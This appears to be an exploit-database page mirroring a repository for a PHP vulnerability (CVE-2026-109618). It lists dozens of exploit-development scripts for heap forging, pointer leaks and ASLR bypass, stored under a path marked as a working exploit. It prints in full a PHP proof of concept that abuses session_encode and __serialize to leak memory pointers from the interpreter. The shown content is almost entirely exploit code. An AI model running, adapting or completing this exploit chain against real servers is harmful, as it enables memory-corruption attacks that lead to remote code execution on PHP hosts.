Exploit databaseDownload repository ZIP
GH-6b6ab0b9bbc03480a3bb1de0b7ebeb41
thetowsif/php2shell-scan-patch
Sources for CVE-2026-109618
412 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files215
thetowsif/php2shell-scan-patchRevision 507d88ca37e0
- ↑..Parent directory
- abrt.gdb
- align8.py
- aslr_demo.sh
- aslr_run.py
- aslr_run2.py
- b0_fill.py
- b64_marker.py
- b_24cookie.py
- b_24hdr.py
- b_24hold.py
- b_8tail.py
- b_consume.py
- b_consume2.py
- b_crash7.py
- b_forge32_hdrK.py
- b_forge32_pad.py
- b_forge64.py
- b_forge64_first.py
- b_forge64_first17.py
- b_forge64_hdr.py
- b_forge64_hdrK.py
- b_forge64_host.py
- b_forge64_http.py
- b_forge64_httpN.py
- b_forge64_pre.py
- b_forge64_pre1.py
- b_forge64all.py
- b_ht56.py
- b_ht56_noforge.py
- b_htleak.py
- b_htleak2.py
- b_htleak3.py
- b_htleak3s.py
- b_nested.py
- b_nested2.py
- b_nested9.py
- b_nested_key.py
- b_numleak.py
- b_numleak2.py
- b_target.py
- bg_a.py
- bg_b.py
- bg_b_cookie.py
- bg_b_debug.py
- bg_b_file.py
- bg_b_first.py
- bg_cookie_a.py
- bg_create.py
- both1.gdb
- cal_b.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
php2shell-bypass-aslr-working-exp/tools/enc_leak2.php
PHP · 821 bytes<?php
error_reporting(0);
ini_set('session.serialize_handler', $argv[2] ?? 'php_serialize');
class C {
function __serialize() {
$_SESSION = [];
return [];
}
}
session_start();
$_SESSION['Lz'] = new C;
for ($i = 0; $i < (int)($argv[1] ?? 20000); $i++) { $_SESSION[(string)$i] = $i; }
$s = session_encode();
echo "handler=".ini_get('session.serialize_handler')." len=".(is_string($s)?strlen($s):-1)."\n";
if (is_string($s)) {
echo substr(bin2hex($s),0,300)."\n";
for ($i=0; $i+7 < strlen($s); $i++) {
$v = unpack('P', substr($s,$i,8))[1];
if (($v >> 48) === 0) {
$top = ($v >> 44) & 0xf;
if (($top === 7 || $top === 5 || $top === 6) && (($v >> 32) & 0xffff) !== 0) {
echo "PTR at $i: ".dechex($v)." ctx=".bin2hex(substr($s,max(0,$i-16),48))."\n";
}
}
}
}